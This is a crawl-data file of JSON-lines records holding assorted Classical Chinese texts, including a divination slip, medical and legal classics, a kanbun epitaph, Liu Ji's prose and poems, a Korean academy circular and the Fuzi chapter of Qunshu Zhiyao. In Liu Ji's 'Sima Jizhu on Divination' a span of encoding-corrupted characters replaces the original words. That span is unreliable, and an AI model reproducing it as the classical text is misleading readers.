不宜餒志\n解說及記載:\n此言名利之機。禍福之由也。尤當預圖。免致噬臍。悔之晚矣。\n今年時運衰。言謀事不利。眷屬不寧。但當側身祈禱。則變災為福。\n凡事先凶後吉。運字或作漸字。\n■小秦王三跳澗\n小秦王即唐太宗李世民。找劉武周時。被其部將尉遲恭所迫。\n三跳澗而逃。幾乎不免(難)。幸遇秦叔寶救之。\n返回求籤首頁","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/kaga.hk\/divine\/emperorguan\/4","date":"2020-07-10T16:04:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655911092.63\/warc\/CC-MAIN-20200710144305-20200710174305-00222.warc.gz","language":"lzh","language_score":0.4702602923,"language_script":"Hani","minhash_cluster_size":18,"top_langs":"{\"lzh_Hani_score\": 0.47026029229164124, \"cmn_Hani_score\": 0.28469476103782654, \"nan_Hani_score\": 0.22511842846870422, \"yue_Hani_score\": 0.011795628815889359}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.461,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n趙櫻子 成毅 韓棟 梁婧嫺 韓承羽 楊超越 王勁松 王琳 黃宥明 張睿 何中華 鄔靖靖 劉萌萌 趙文浩 趙東澤 薛澤源 唐瑞雪 張墨錫 傅方俊 黃羿 李澤 付夢妮 盧星宇 楊晉恆\n袁冰妍 成毅 劉學義 張予曦 白澍 李俊逸 周峻緯 侯夢瑤 傅方俊 楊肸子 何中華 韓承羽 朱梓驍 姚奕辰 何晟銘 趙櫻子 張棪琰 黃宥明 錢泳辰 杜俊澤\n唐嫣 鄭智薰 羅晉 迪麗熱巴 姚奕辰 張雯 王東 郭柯彤 白凡 侯雪龍 郭靜琳 薛祺 傅方俊 陳姝 楊亞 方曉莉 王藝博 陳雅斕 丁柳雁 宮韻 馬捷 沈東軍 張蘭 朱薇薇 陸忠 杜娟 方彧 王雅靜 馬亞楠 李豔冰 朱文超 王嘉誠 張燕峯 金光民 許楚涵 侯越秋 劉亞鵬 白茹 楊凱迪 趙純 周茜 陳玥 朱建 聶新源 張譯文\n韓雪 黃宥明 肖天 傅方俊 哈斯高娃 喬紅\n任嘉倫 李曼 劉歡 何杜娟 菅紉姿 劉學義 梁婧嫺 傅方俊 胡亞捷 李亭哲 張涵予 李小冉 王勁松 韓棟 何中華\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%82%85%E6%96%B9%E4%BF%8A------------.html","date":"2020-09-22T14:10:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206133.46\/warc\/CC-MAIN-20200922125920-20200922155920-00174.warc.gz","language":"lzh","language_score":0.5597729087,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5597729086875916, \"cmn_Hani_score\": 0.3010839521884918, \"nan_Hani_score\": 0.12463631480932236, \"yue_Hani_score\": 0.013993562199175358}","num_words":113,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.642,"perplexity_score":500.0,"cluster_detection":1} +{"text":"六十難(誤列四十三難)曰:\n人不食飲,七日而死者,何也?然,人胃中當留穀二斗,水一斗五升。故平人日再至圊(ㄑㄧㄥ),一行二升半,一日中五升,七日五七三斗五升,而水穀盡矣。故平人不食飲七日而死者,水穀津液俱盡,即死矣。\n此與前章統結三卷始終之義。凡人所藉以生者水穀也。能承運水穀者胃也。自首卷至此。俱發明脈證無不以胃氣爲重。故曰四時之脈。胃氣爲本。百病死生。胃脈爲本。前章首舉胃而遞及肛門。此章複舉胃存水穀。而及於水穀津液盡而死。餘謂越人之著難經。真首尾相應。一氣貫通。學者讀是經而不悟全文。究不能得其心傳也。","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/youcome99.pixnet.net\/blog\/post\/27569784-%E5%85%AD%E5%8D%81%E9%9B%A3%EF%BC%88%E8%AA%A4%E5%88%97%E5%9B%9B%E5%8D%81%E4%B8%89%E9%9B%A3%EF%BC%89%E6%9B%B0%EF%BC%9A%E8%AB%96%E4%BA%BA%E4%B8%8D%E9%A3%9F%E9%A3%B2%E4%B8%83%E6%97%A5","date":"2020-09-25T08:01:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400222515.48\/warc\/CC-MAIN-20200925053037-20200925083037-00174.warc.gz","language":"lzh","language_score":0.4493728876,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.44937288761138916, \"cmn_Hani_score\": 0.43730124831199646, \"nan_Hani_score\": 0.0395149402320385, \"wuu_Hani_score\": 0.028084414079785347, \"yue_Hani_score\": 0.018823465332388878, \"jpn_Jpan_score\": 0.015687260776758194}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n虞悦彤 虞悦阳 虞悦斌 虞悦喜 虞悦乐 虞悦禧 虞波娜 虞水娟 虞心悦 虞弈琳 虞立英 虞亚娟 虞玲静 虞召芬 虞哲英 虞子玲 虞子艳 虞梓艳 虞梓文 虞梓婷 虞正冉 虞莹 虞虹英 虞鸿英 虞贞瑛 虞梦怡 虞沛雪 虞易蓉 虞妙嫣 虞俊红 虞文文 虞培红 虞琢瑶 虞妍藿 虞凌雪 虞嘉悦 虞秋悦 虞玲珍 虞秀英 虞建美 虞燕丽 虞吉芳 虞琴红 虞颜妍 虞楚文 虞雅文 虞丽花 虞素琴 虞丽琴 虞林莉 虞文美 虞瑞怡 虞瑞琼 虞睿琼 虞崇怡 虞崇颖 虞凯琳 虞翰文 虞银琴 虞建花 虞彩霞 虞登玉 虞雪芳 虞嘉怡 虞晓颖 虞姬红 虞智颖 虞江丽 虞茉莉 虞莉雅 虞叶梅 虞伟英 虞婷雯 虞婷惠 虞建芳 虞玲维 虞玲丹 虞妍衡 虞紫倩 虞怡馨 虞怡倩 虞艳琳 虞佳倩 虞冠蓉 虞俊丽 虞明英 虞丽蓉 虞悦纳 虞昀英 虞海英 虞舒婷 虞雪娟 虞秀琴 虞静婷 虞秋怡 虞文玉 虞悦雯 虞卫娟 虞云燕 虞欣妍 虞紫霞 虞施琳 虞琪美 虞围文 虞养琴 虞京颖 虞洁莉 虞春嫣 虞春妍 虞微英 虞珊红 虞紫琼 虞紫芳 虞紫琴 虞宸倩 虞宸婧 虞陈婧 虞秦妹 虞晓花 虞维芳 虞启梅 虞放芳 虞孜妍 虞轹文 虞翔悦 虞静霞 虞茗倩 虞愫梅 虞睿洁 虞睿芬 虞睿婵 虞睿英 虞倩岚 虞清芬 虞妹 虞子文 虞娅兰 虞娅婷 虞慧婷 虞娅珍 虞爱霞 虞茹鑫 虞茹镁 虞茹霞 虞茹玉 虞茹国 虞茹思 虞茹诗 虞茹娴 虞茹宵 虞茹鸥 虞茹妮 虞茹熙 虞茹雁 虞茹谜 虞茹魅 虞茹昧 虞茹镅 虞茹嵋 虞茹媚 虞茹梅 虞茹玫 虞茹妹 虞茹意 虞茹仪 虞茹燕 虞茹艳 虞茹琼 虞茹秋 虞茹丹 虞如洁 虞茹洁 虞秀萍 虞颖燕 虞蕙萍 虞鸿妍 虞宛霞 虞蕙霞 虞富文 虞咏婷 虞咏梅 虞妍泓 虞净婷 虞悦洋 虞彩萍 虞春芳 虞丹倩 虞秀婷 虞安倩 虞馨怡 虞环霞 虞璐霞 虞彩瑶 虞凡文 虞卜洁 虞维娜 虞悦盈 虞悦真 虞悦妍 虞悦佳 虞怡婷 虞怡亭 虞大燕 虞浩文 虞秀缨 虞小莹 虞柳英 虞建霞 虞琳俊 虞荣燕 虞海婷 虞雪娜 虞莉丹 虞玉莹 虞鲱红 虞菲红 虞非红 虞妃红 虞扉红 虞飞红 虞开英 虞晓丽 虞蓉蓉 虞翠娜 虞小丽 虞群娜 虞秀瑶 虞倬瑶 虞卓瑶 虞瑶瑶 虞春梅 虞慧芬 虞沁洁 虞沁婷 虞梦莹 虞佳瑶 虞菊媛 虞浙霞 虞佳玲 虞笑梅 虞亚洁 虞惋茹 虞婕妍 虞秀文 虞莉君 虞维琴 虞秋红 虞菱花 虞皓文 虞森文 虞樱丽 虞荔婷 虞荔琳 虞荔萍 虞琳楚 虞琳蓉 虞琳榕 虞琳鸯 虞琳杨 虞琳秧 虞琳亚 虞琳娅 虞雅琳 虞琳雅 虞琳桠 虞栩琳 虞妍君 虞芩琳 虞琳芩 虞琳花 虞琳男 虞言琳 虞恩琳 虞琳芸 虞轲琳 虞艺琳 虞舸英 虞舸婷 虞竹英 虞琳灵 虞竺琳 虞珠琳 虞琳心 虞琳琴 虞琳苹 虞琳军 虞琳翰 虞琳韵 虞琳耘 虞珊琳 虞笙琳 虞柯琳 虞沐琳 虞舒倩 虞怡雯 虞玉 虞珂琳 虞科琳 虞舸琳 虞琳可","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/bbqmzz.cn\/show_1EE.aspx","date":"2021-02-25T15:57:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178351374.10\/warc\/CC-MAIN-20210225153633-20210225183633-00086.warc.gz","language":"lzh","language_score":0.926066041,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.9260660409927368, \"cmn_Hani_score\": 0.04403189942240715, \"yue_Hani_score\": 0.023773077875375748}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.925,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第3條 八議\n1.一曰議親,① 二曰議故,② 三曰議功,③ 四曰議賢,④ 五曰議能,⑤ 六曰議勤,⑥ 七曰議貴,⑦ 八曰議賓.⑧\n① 謂皇家袒免以上親 及太皇太后・皇太后緦麻以上親, 皇后小功以上親, 皇太子妃大功以上親.\n② 謂皇家故舊之人, 素得侍見 特蒙恩待日久者.\n③ 謂能斬將奪旗 摧鋒萬里, 或率衆來歸, 寧濟一時, 或開拓疆宇, 有大勳勞 銘功太常者.\n④ 謂有大德行之賢人君子 其言行可以爲法則者.\n⑤ 謂有大才業, 能整軍旅治政事 爲帝王之輔佐 人倫之師範者.\n⑥ 謂有大將吏謹守官職 早夜奉公, 或出使遠方 經涉艱難, 有大勤勞者.\n⑦ 謂爵一品及文武職事官三品以上, 散官二品以上者.\n⑧ 謂承先代之後 爲國賓者.","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_160_0010_0030","date":"2021-02-26T00:26:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178355944.41\/warc\/CC-MAIN-20210226001221-20210226031221-00288.warc.gz","language":"lzh","language_score":0.4230977297,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.42309772968292236, \"cmn_Hani_score\": 0.3562169671058655, \"jpn_Jpan_score\": 0.20341044664382935}","num_words":47,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.412,"perplexity_score":500.0,"cluster_detection":1} +{"text":"堤 靜齋\n學橋大鄉君、以明治十四年十一月五日沒。葬于東京芝伊皿子長法寺。\n將葬、其子利器太郎泣請曰、先君在世所苦心盡力者、在廢藩以前時。吾尚少、未及知之。欲就舊藩士共事者問之、皆已即世。且先君雖交天下賢豪、能知其苦心者唯子。又能知廢藩以前之情狀者亦唯子。則爲先君銘、令其志不泯滅者、舍子其誰。\n嗟乎。余與君交三十餘年。嘗共謀事、同遭患難。誼不可以不文辭。乃敘其概略曰、\n君諱穆、字穆卿。學橋其號。本姓須子氏。越前鯖江人。世仕藩主間部氏。考諱博、號浩齋。爲藩學教官。先是、藩士大鄉良則、遊祭酒林公之門、以經術名。祭酒設一校江戸古河、命良則居之、以誘掖後進。良則沒無子。祭酒與藩主胥議、擇藩士之學博行修者繼之。而浩齋君當其選、遂冒大鄉氏。\n君承其後、居古河。爲人端厚有守。雖乏謇諤之氣、所自是則勇往直進、必行之而後止。藩主甚寵之。\n方是時、米魯諸國相尋來請互市、日迫幕府。而開鎖之議未決。加以將軍建嗣之議不合、而雄藩不服。内憂外患、一時並起。而藩主爲老中、任幕政。君深憂之。既而藩主如京師治事。土藩士某來謂余曰、嚮尾越水戸諸公、與幕議不合、皆受嚴譴。而吾主公與此同議。聞執政欲罪之、馳使京師、取決間部公。則吾主公進退、獨係間部公。願子圖之。余見君以告。且曰、土佐山内公、致忠於幕府久矣。今以一議不合故、遽加嚴譴、藩情必離矣。言未卒、君蹶起曰、此非細故。吾其往矣。即日上途。事雖不諧、然君忠悃之情、藩主亦深知之矣。\n時幕府方興党人之獄。深探密索、無所不至。而余嚮所與君言者、亦爲其所獲。執政怒將捕余。會有營救者獲免。而心獨危君。既而藩主從京師還、遽徒君鯖江。蓋以執政以君爲罪、言之藩也。君已徒而古河之黨遂廢。\n君之少也、入昌平黌、與四方俊雄之士游。性敏多才藝。詩及書畫、尤爲精妙。又好酒、客至必置酒、言咲終日、愈醉愈溫。其徒鯖江也、詩酒自娛、徜徉和適。人不見其憂色。居亡何、藩主辭老中、起君爲藩學教官。迨大政復古、爲鯖江藩少參事、兼監察長。藩廢而免。\n初幕府之伐毛利氏也、將軍駐軍大阪。而與朝臣不協、諸藩各有心。是以諸藩皆擇其臣、置之京阪間、以探時情。世目之曰周旋。蓋一藩所向、大抵由此而定。而君任其事。時余在大阪。嘗與君酌酒談時事。君嘆曰、大義之不可失也固矣。但吾藩之獲列於諸侯、在幕府中葉。非有汗馬之勞。而致此、荷恩之重、亦非諸藩比。不幸當朝幕不協之時。欲彼此得宜難矣哉。既而世勢一變、大政復古。而諸藩思幕府舊恩、失義獲罪者亦不少。獨鯖江藩、終始不失義、又不背恩者、烏知非君苦心之所致耶。\n藩已廢、君又來東京。時山内氏居顯要。或謂君曰、子嘗爲山内氏履患難。今一見之、則重用子。君咲曰、吾之與隄威卿謀者、爲天下也。非爲夫人也。遂不見。\n君沒年五十二。娶清氏、生一男一女。男即利器太郎。女適陸軍中尉倉光利諒。\n銘曰、\n致力維何 匪躬之故\n命與仇謀 遭彼之怒\n式困式躓 心斯優裕\n生罹此阨 死銘之墓\n卓矣厥志 千古有譽\n2006年6月18日公開。","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/kambun.jp\/kambun\/tsutsumi-gakkyo.htm","date":"2022-01-22T16:53:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303868.98\/warc\/CC-MAIN-20220122164421-20220122194421-00600.warc.gz","language":"lzh","language_score":0.5078721046,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5078721046447754, \"cmn_Hani_score\": 0.24544879794120789, \"jpn_Jpan_score\": 0.10707303136587143, \"nan_Hani_score\": 0.05024109408259392, \"yue_Hani_score\": 0.03188297152519226, \"wuu_Hani_score\": 0.03186291828751564}","num_words":25,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":500.0,"cluster_detection":1} +{"text":"故乡 admin 资源分享 2022-02-13 吾有故乡 山高沂长 歌起雩台 古韵悠亢 吾有故乡 兰节杏芳 恕仁忠义 劝世无双 吾有故乡 朝睽夕望 古来游子 思旧怀伤 痛哉吾乡 民人淳厚 无奈侵夺 欺以豺狼 惜哉吾乡 可堪报效 上下求索 慨当以慷 爱哉吾乡 道阻且长 负志远行 不敢相忘 君王未可信,贵人语浮华。我自品茶去,看花落谁家。","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.botailang.com\/2458.html","date":"2023-02-01T08:57:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499919.70\/warc\/CC-MAIN-20230201081311-20230201111311-00158.warc.gz","language":"lzh","language_score":0.6903510094,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.6903510093688965, \"cmn_Hani_score\": 0.1459706872701645, \"nan_Hani_score\": 0.12072084099054337, \"wuu_Hani_score\": 0.030775953084230423}","num_words":28,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.751,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劉基的詩文(960首)1\/39頁\n作者:\n李白 陸游 劉克莊 楊萬里 趙蕃 弘歷 蘇軾 梅堯臣 方回 白居易 王世貞 黃庭堅 陳造 范成大 張耒 屈大均 蘇轍 王安石 歐大任 胡應麟 佚名 項安世 邵雍 宋祁 司馬光 姚燮 陳著 方岳 曹勛 樓鑰 杜甫 魏了翁 吳芾 陳維崧 佚名 白玉蟾 王之道 韓淲 洪咨夔 歐陽修 張镃 程敏政 劉崧 周紫芝 程公許 戴復古 劉基 王十朋 曾豐 韓維 王炎 佚名 文天祥 鄧云霄 周必大 賀鑄 喻良能 李綱 文同 宋庠 馬鈺 晁說之 李曾伯 李東陽 胡奎 李彌遜 釋文珦 舒岳祥 強至 晁補之 高啟 釋印肅 陳普 辛棄疾 姜特立 楊維楨 李夢陽 王洋 齊己 陸文圭 劉禹錫 顧璘 岳珂 陳宓 楊慎 陳師道 韓元吉 劉敞 郭之奇 虞儔 朱熹 孫應時 楊士奇 袁宏道 仇遠 釋德洪 郭印 郭祥正 邵寶 王冕\n類型:\n哀愁 哀悼 哀歌 哀傷 哀思 哀嘆 哀痛 哀怨 愛國 愛民 愛慕 愛情 愛人 安慰 懊悔 白菊 百姓 傍晚 胞弟 抱負 杯古 悲愁 悲愴 悲憤 悲歌 悲觀 悲劇 悲苦 悲涼 悲切 悲秋 悲傷 悲嘆 悲痛 悲惋 悲壯 碑記 碑文 奔放 比喻 避諱 邊將 邊疆 邊塞 貶謫 變化 表演 別愁 別離 別情 不滿 不舍 才女 采蓮 殘春 策論 策略 茶葉 禪意 禪隱 猖狂 悵然 悵惘 唱歌 唱和 嘲諷 誠信 乘船 池塘 憧憬 惆悵 酬答 酬和 酬贈 愁病 愁恨 愁苦 愁悶 愁情 愁思 愁緒 愁怨 出游 出征 初夏 初中古詩 初中文言文 除夕 楚辭 觸景感懷 觸景傷情 觸景生情 傳記 傳說 船夫 垂釣 垂柳 春殘 春愁 春光 更多>>\n賣柑者言\n杭有賣果者,善藏柑,涉寒暑不潰。出之燁然,玉質而金色。置于市,賈十倍,人爭鬻之。\n予貿得其一,剖之,如有煙撲口鼻,視其中,則干若敗絮。予怪而問之曰:\"若所市于人者,將以實籩豆,奉祭祀,供賓客乎?將炫外以惑愚瞽也?甚矣哉,為欺也!\"\n賣者笑曰:\"吾業是有年矣,吾賴是以食吾軀。吾售之,人取之,未嘗有言,而獨不足子所乎?世之為欺者不寡矣,而獨我也乎?吾子未之思也。\n今夫佩虎符、坐皋比者,洸洸乎干城之具也,果能授孫、吳之略耶? 峨大冠、 拖長紳者,昂昂乎廟堂之器也,果能建伊、皋之業耶?盜起而不知御,民困而不知救,吏奸而不知禁,法斁而不知理,坐糜廩粟而不知恥。觀其坐高堂,騎大馬,醉醇醴而飫肥鮮者,孰不巍巍乎可畏,赫赫乎可象也?又何往而不金玉其外,敗絮其中也哉?今子是之不察,而以察吾柑!\"\n予默默無以應。退而思其言,類東方生滑稽之流。豈其憤世疾邪者耶?而托于柑以諷耶?\n司馬季主論卜\n東陵侯既廢,過司馬季主而卜焉。季主曰:\"君侯何卜也?\"東陵侯曰:\"久臥者思起,久蟄者思啟,久懣者思嚏。吾聞之蓄極則泄,閟極則達。熱極則風,壅極則通。一冬一春,靡屈不伸,一起一伏,無往不復。仆竊有疑,愿受教焉?!奔局髟唬骸叭羰?,則君侯已喻之矣,又何卜為?\"東陵侯曰:\"仆未究其奧也,愿先生卒教之?!奔局髂搜栽唬骸皢韬?!天道何親?惟德之親;鬼神何靈?因人而靈。夫蓍,枯草也;龜,枯骨也,物也。人,靈于物者也,何不自聽而聽于物乎?且君侯何不思昔者也?有昔者必有今日,是故碎瓦頹垣,昔日之歌樓舞館也;荒榛斷梗,昔日之瓊蕤玉樹也;露蛬風蟬,昔日之鳳笙龍笛也;鬼燐螢火,昔日之金釭華燭也;秋荼春薺,昔日之象白駝峰也;丹楓白荻,昔日之蜀錦齊紈也。昔日之所無,今日有之不為過;昔日之所有,今日無之不為不足。是故一晝一夜,華開者謝;一秋一春,物故者新。激湍之下,必有深潭;高丘之下,必有浚谷。君侯亦知之矣,何以卜為?\"\n如夢令·一抹斜陽沙觜\n一抹斜陽沙觜,幾點閑鷗草際,烏榜小漁舟,搖過半江秋水。風起,風起,棹入白蘋花里。\n憶王孫十二首 其九 集句\n為誰零落為誰開。小白長紅越女腮。漸老逢春能幾回。\n看花回。一日須傾三百杯。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.theslashblog.com\/shici\/mingdai\/liuji1\/","date":"2023-03-21T04:28:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943625.81\/warc\/CC-MAIN-20230321033306-20230321063306-00322.warc.gz","language":"lzh","language_score":0.5168369412,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.516836941242218, \"cmn_Hani_score\": 0.29074424505233765, \"nan_Hani_score\": 0.17627863585948944}","num_words":221,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.586,"perplexity_score":500.0,"cluster_detection":1} +{"text":"이 통문은 퇴촌 순흥안씨 집에 보관되어 오던 문서로 1902년 창원향교의 이름으로 두곡영당의 중수를 위해 칠원향교에 인력을 보내 달라는 협조문이다. 내용은 아래와 같다. 通文 右文爲奉告事 伏以文昌公海雲崔先生 道德文章 陞配聖廡 則不待鄙等之言而一千年 海東章甫 孰不崇奉而矜式哉 鄙郡卽先生嶽降¹⁾ 之鄕 而臺有孤雲月影臺之西北隅 建院而俎豆以享之 中年撤院之後 別立一祠于斗谷 姓孫洞奉眞影以妥矣 遺像年舊爍落寓慕無憑 齎嗟莫及 至於昨秋 影幀一本 敬模於河東之校宮 奉安舊祠 祠亦毁頹 經始重建而貿瓦 於昌寧等地水運 抵貴郡則慕賢尊奉之地 不可異同於本他邑也 以此稟告于貴郡 官司出丁 運致於鄙邑界 則鄙邑役丁當待于本郡界矣 以此諒之 勿失期會 千萬 幸幸甚甚 右文通于漆原鄕校 壬寅九月十八日 昌原鄕校 齋任 : 安斗馨 李炳鍊 金鍾淳 會員 : 金宗琪 安琦錫 金..","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/win690.tistory.com\/tag\/%EC%B0%BD%EC%9B%90%ED%96%A5%EA%B5%90","date":"2024-04-24T07:17:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296819067.85\/warc\/CC-MAIN-20240424045636-20240424075636-00142.warc.gz","language":"lzh","language_score":0.7409306169,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7409306168556213, \"cmn_Hani_score\": 0.21725872159004211, \"jpn_Jpan_score\": 0.02347581461071968}","num_words":67,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.741,"perplexity_score":500.0,"cluster_detection":1} +{"text":"傅 子\n群書治要卷四十九\n傅 子\n治國有二柄。一曰賞。二曰罰。賞者政之大德也。罰者政之大威也。人所以畏天地者。以其能生而殺之也。爲治審持二柄。能使殺生不妄。則其威德與天地并矣。信順者。天地之正道也。詐逆者。天地之邪路也。民之所好莫甚於生。所惡莫甚於死。善治民者。開其正道。因所好而賞之。則民樂其德也。塞其邪路。因所惡而罰之。則民畏其威矣。善賞者。賞一善而天下之善皆勸。善罰者。罰一惡而天下之惡皆懼者何。賞公而罰不貳也。有善。雖疏賤必賞。有惡。雖貴近必誅。可不謂公而不貳乎。若賞一無功。則天下飾詐矣。罰一無罪。則天下懷疑矣。是以明德慎賞而不肯輕之。明德慎罰而不肯忍之。夫威德者。相須而濟者也。故獨任威刑而無德惠。則民不樂生。獨任德惠而無威刑。則民不畏死。民不樂生。不可得而教也。民不畏死。不可得而制也。有國立政。能使其民可教可制者。其唯威德足以相濟者乎。\n賢者。聖人所與共治天下者也。故先王以舉賢爲急。舉賢之本。莫大正身而壹其聽。身不正。聽不壹。則賢者不至。雖至不爲之用矣。古之明君。簡天下之良材。舉天下之賢人。豈家至而户閲之乎。開至公之路。秉至平之心。執大象而致之。亦云誠而已矣。夫任誠。天地可感。而况於人乎。傅説。巖下之築夫也。高宗引而相之。吕尚。屠釣之賤老也。文武尊而宗之。陳平。項氏之亡臣也。高祖以爲腹心。四君不以小疵忘大德。三臣不以疏賤而自疑。其建帝王之業。不亦宜乎。文王内舉周公旦。天下不以爲私其子。外舉太公望。天下稱其公。周公誅弟而典刑立。桓公任讎而齊國治。苟其無私。他人之與骨肉。其於誅賞豈二法哉。唯至公然後可以舉賢也。夏禹有言。知人則哲。惟帝其難之。因斯以談。君莫賢於高祖。臣莫奇於韓信。高祖在巴漢。困矣。韓信去楚而亡。窮矣。夫以高祖之明。困而思士。信之奇材。窮而願進。其相遭也。宜萬里響應。不移景而相取(相取作將相可取)矣。然信歸漢歷時而不見知。非徒不見知而已。又將案法而誅之。向不遇滕公。則身不免於戮死。不值蕭何。則終不離於亡命。幸而得存。固水濱之餓夫。市中之怯子(子下有也字)。又安得市人可驅。而立乎天下之功也哉。蕭何一言而不世之交合。定傾之功立。豈蕭何知人之明。絶於高祖。而韓信求進之意。曲於蕭何乎。尊卑之勢异。而高下之處殊也。高祖勢尊而處高。故思進者難。蕭何勢卑而處下。故自納者易。然則居尊高之位者。其接人之道固難。而在卑下之地者。其相知之道固易矣。\n昔人知居上取士之難。故虚心而下聽。知在下相接之易。故因人以致人。舜之舉咎陶難。得咎陶致天下之士易。湯之舉伊尹難。得伊尹致天下之士易。故舉一人而聽之者。王道也。舉二人而聽之者。霸道也。舉三人而聽之者。僅存之道也。聽一人何以王也。任明而致信也。聽二人何以霸也。任術而設疑也。聽三人何以僅存也。從二而求一也。明主任人之道專。致人之道博。任人道專。故邪不得間。致人之道博。故下無所壅。任人之道不專。則讒説起而异心生。致人之道不博。則殊塗塞而良材屈。使舜未得咎陶。湯未得伊尹。而不求賢。則上下不交而大業廢矣。既得咎陶。既得伊尹。而又人人自用。是代大匠斫也。君臣易位。勞神之道也。今之人或抵掌而言。稱古多賢。患世無人。退不自三省。而坐誣一世。豈不甚耶。夫聖人者。不世而出者也。賢能之士。何世無之。何以知其然。舜興而五臣顯。武王興而九賢進。齊桓之霸。管仲爲之謀。秦孝之强。商君佐之以法。欲王則王佐至。欲霸則霸臣出。欲富國强兵。則富國强兵之人往。求無不得。唱無不和。是以天下之不乏賢也。顧求與不求耳。何憂天下之無人乎。\n夫裁徑尺之帛。刊方寸之木。不任左右。必求良工者。裁帛刊木非左右之所能故也。徑尺之帛。方寸之木。薄物也。非良工不能裁之。况帝王之佐。經國之任。可不審擇其人乎。故構大廈者。先擇匠。然後簡材。治國家者。先擇佐。然後定民。大匠構屋。必大材爲棟梁。小材爲榱橑。苟有所中。尺寸之木無弃也。非獨屋有棟梁。國家亦然。大德爲宰相。此國之棟梁也。審其棟梁。則經國之本立矣。經國之本立。則庶官無曠。而天工時叙矣。\n天下之害。莫甚於女飾。上之人不節其耳目之欲。殫生民之巧。以極天下之變。一首之飾。盈千金之價(價作資)。婢妾之服。兼四海之珍。縱欲者無窮。用力者有盡。用有盡之力。逞無窮之欲。此漢靈之所以失其民也。上欲無節。衆下肆情。淫奢并興。而百姓受其殃毒矣。嘗見漢末一筆之柙。雕以黄金。飾以和璧。綴以隨珠。發以翠羽。此筆非文犀之植。必象齒之管。豐狐之柱。秋兔之翰。用之者必被珠繡之衣。踐雕玉之履。由是推之。其(舊無其字。補之)極靡不至矣。然公卿大夫刻石爲碑。鐫石爲虎。碑虎崇僞。陳於三衢。妨功喪德。异端并起。衆邪之亂正若此。豈不哀哉。夫經國立功之道有二。一曰息欲。二曰明制。欲息制明。而天下定矣。\n夫商賈者。所以伸盈虚而獲天地之利。通有無而壹四海之財。其人可甚賤。而其業不可廢。蓋衆利之所充。而積僞之所生。不可不審察也。古者。民樸而化淳。上少欲而下尠僞。衣足以暖身。食足以充口。器足以給用。居足以避風雨。養以大道。而民樂其生。敦以大質。而下無逸心。日中爲市。民交易而退。各得其所。蓋化淳也。暨周世殷盛。承變極文。而重爲之防。國有定制。下供常事。役賦有恒。而業不廢。君臣相與一體。上下譬之形影。官恕民忠。而恩侔父子。上不徵非常之物。下不供非常之求。君不索無用之寶。民不鬻無用之貨。